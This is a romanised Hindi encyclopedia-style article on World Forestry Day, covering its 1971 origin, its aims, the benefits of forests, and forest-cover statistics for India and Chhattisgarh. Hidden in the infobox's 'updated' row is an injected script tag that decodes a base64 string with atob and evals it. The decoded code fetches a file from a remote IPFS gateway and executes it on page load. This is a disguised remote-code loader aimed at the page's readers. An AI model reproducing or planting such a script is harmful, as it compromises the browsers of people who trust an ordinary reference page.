विश्व वानिकी दिवस
vishv vaniki divas
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| vivaran | vishv vaniki divas pahali bar varsh 1971 ee. mean is uddeshy se manaya gaya tha ki duniya ke tamam desh apani matribhoomi ki mitti aur van-sampada ka mahatv samajhe tatha apane-apane desh ke vanoan aur jangaloan ka sanrakshan karean. |
| tithi | 21 march |
| pahali bar | 1971 ee. |
| uddeshy | vishv ke sabhi desh apani van-sampada ki taraph dhyan dean aur vanoan ko sanrakshan pradan karean. |
| any janakari | bharat sarakar dvara san 1952 ee. mean nirdharit "rashtriy van niti" ke tahat desh ke 33.3 % kshetr par van hone chahie. lekin vartaman samay mean aisa nahian hai. |
| adyatan | 18:08, 28 janavari 2015 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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vishv vaniki divas (aangrezi: World Forest Day) prativarsh 21 march ko manaya jata hai. vishv vaniki divas pahali bar varsh 1971 ee. mean is uddeshy se manaya gaya tha ki duniya ke tamam desh apani matribhoomi ki mitti aur van-sampada ka mahatv samajhe tatha apane - apane desh ke vanoan aur jangaloan ka sanrakshan karean. agar ham bharat ki bat karean to 22.7% bhoomi par hi vanoan aur jangaloan ka astitv rah gaya. bharat mean van mahotsav julaee 1950 se hi manaya ja raha hai. isaki shuruat tatkalin grihamantri kulapati kanhaiyalal manikalal muanshi ne ki thi.
uddeshy
vishv vaniki divas ka uddeshy hai ki vishv ke sabhi desh apani van-sampada ki taraph dhyan dean aur vanoan ko sanrakshan pradan karean. bharat mean bhi van-sampada paryapt roop se hai. bharat mean 657.6 lakh hekteyar bhoomi (22.7 %) par van pae jate haian. vartaman samay mean bharat 19.39 % bhoomi par vanoan ka vistar hai aur chhattisagadh rajy mean sabase jyada van-sampada hai usake bad kramash: madhy pradesh aur uttar pradesh rajy mean. bharat sarakar dvara san 1952 ee. mean nirdharit "rashtriy van niti" ke tahat desh ke 33.3 % kshetr par van hone chahie. lekin vartaman samay mean aisa nahian hai. van-bhoomi par udyog-dhandhoan tatha makanoan ka nirman, vanoan ko kheti ke kam mean lana aur lak diyoan ki badhati maang ke karan vanoan ki avaidh kataee adi vanoan ke nasht hone ke pramukh karan hai. isalie ab samay a gaya hai ki desh ki "rashtriy nidhi" ko bachae aur inaka sanrakshan karean. hamean vriksharopan (pe d-paudhe lagana) ko badhava dena chahie. isake sambandh mean prasiddh paryavaranavid kanhaiyalal manikalal muanshi ne kaha tha ki -"vrikshoan ka arth hai jal, jal ka arth hai roti aur roti hi jivan hai."
itihas
vishv vaniki divas manane ka vichar 1971 mean yooropiy krishi parisangh ki 23vian mahasabha mean aya. vaniki ke tin mahatvapoorn tatvoan- suraksha, utpadan aur vanavihar ke bare mean logoan ko janakariyaan dene ke lie usi sal bad mean 21 march ke din ko yani dakshini golardh mean sharad vishav aur dakshin golardh mean vasant vishav ke din ko chuna gaya. van pragaitihasik kal se hi manavajati ke lie bahut mahattvapoorn raha hai. van ka matalab keval pe d nahian hai balki yah ek sanpoorn jatil jivant samuday hai. van ki chhatari ke niche kee sare pe d aur jiv-jantu rahate haian. vanabhoomi jivanu, kavak jaise kee prakar ke akasherooki jivoan ke ghar haian. ye jiv bhoomi aur van mean poshak tatvoan ke punarchakran mean mahattvapoorn bhoomika nibhate haian.
vanoan se labh
van paryavaran, logoan aur jantuoan ko kee prakar ke labh pahuanchate haian. van kee prakar ke utpad pradan karate haian jaise pharnichar, gharoan, relave slipar, plaeevud, eeandhan ya phir charakol ev kagaz ke lie lak di, selophen, plastik, reyan aur nayal aaun adi ke lie prassankrit utpad, rabar ke pe d se rabar adi. phal, supari aur masale bhi vanoan se ekatr kie jate haian. karpoor, sinachona jaise kee aushadhiy paudhe bhi vanoan mean hi paye jate haian. pe doan ki j dean mitti ko jak de rakhati hai aur is prakar vah bhari barish ke dinoan mean mrida ka aparadan aur badh bhi rokati haian. pe d, karban dai aksaid avashoshit karate haian aur aauksijan chho date haian jisaki manavajati ko saans lene ke lie zaroorat p dati hai. vanaspati sthaniy aur vaishvik jalavayu ko prabhavit karati hai. pe d prithvi ke lie suraksha kavach ka kam karate haian aur jangali jantuoan ko ashray pradan karate haian. ve sabhi jivoan ko soory ki garmi se bachate haian aur prithvi ke tapaman ko niyantrit karate haian. van prakash ka paravartan ghatate haian, dhvani ko niyantrit karate haian aur hava ki disha ko badalane evan gati ko kam karane mean madad karate haian. isi prakar vanyajiv bhi mahattvapoorn hai kyoanki ye hamari jivanashaili ke mahatvapoorn aang haian.
van-sampada
jangal hamare jivan ki buniyad haian jo hamare paryavaran ke sath-sath arthik aur samajik sthiti ko banaye rakhane mean mahatvapoorn bhoomika nibhate haian. vanoan ka ashay samany roop se vrikshoan ke samooh se hota hai lekin vastav mean ye vibhinn jivoan ka ek jatil samuday hai. ek-doosare par paraspar ashrit anek paudhe aur janavar vanoan mean nivas karate haian tatha van ke bhoo-tal par anek prakar ke chhote-chhote jiv-jantu, jivanu aur phangas paye jate haian jo mitti aur paudhoan ke madhy poshak tatvoan ka adan-pradan karane mean madad karate haian. vanoan se manav samuday ko anek bahumooly vastuean prapt hoti haian. jinamean svachchh jal, vany praniyoan ke rahane ke lie vas-sthan, lak di, bhojan, pharnichar, kagaj, sundar paridrishy sahit anek puratatvik aur aitihasik sthal shamil haian. vanoan ki saghanata ke mamale mean chhattisagadh ek samriddh rajy hai. yah sanpannata virasat mean mili hai. lekin isase adhik yahaan ke logoan ne isaki mahatta ko samajha aur sanrakshan kiya hai. rajy ke kul bhaugolik kshetraphal ek lakh 35 hajar 224 varg kilomitar mean se 59 hajar 772 varg kilomitar kshetr vanoan se ghira hua hai jo ki kul bhaugolik kshetr ka 44.2 pratishat hota hai. van avaran ki drishti se chhattisagadh bharat mean tisare sthan par hai. isase adhik vanakshetr madhy pradesh (76013 varg kilomitar) tatha arunachal pradesh (67 hajar 777 varg kilomitar) hai. chhattisagadh mean char pramukh nadi pranaliyaan- mahanadi, godavari, narmada aur venaganga ka jalagrahan kshetr shamil hai. mahanadi, iandravati, hasadev, shivanath, arapa, eeb rajy ki pramukh nadiyaan haian. vanaean ki adhikata ke karan hi rajy ki ausat varshik varsha 1200 se 1500 mili mitar hoti hai.
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tika tippani aur sandarbh
bahari k diyaan
sanbandhit lekh
varnamala kramanusar lekh khoj
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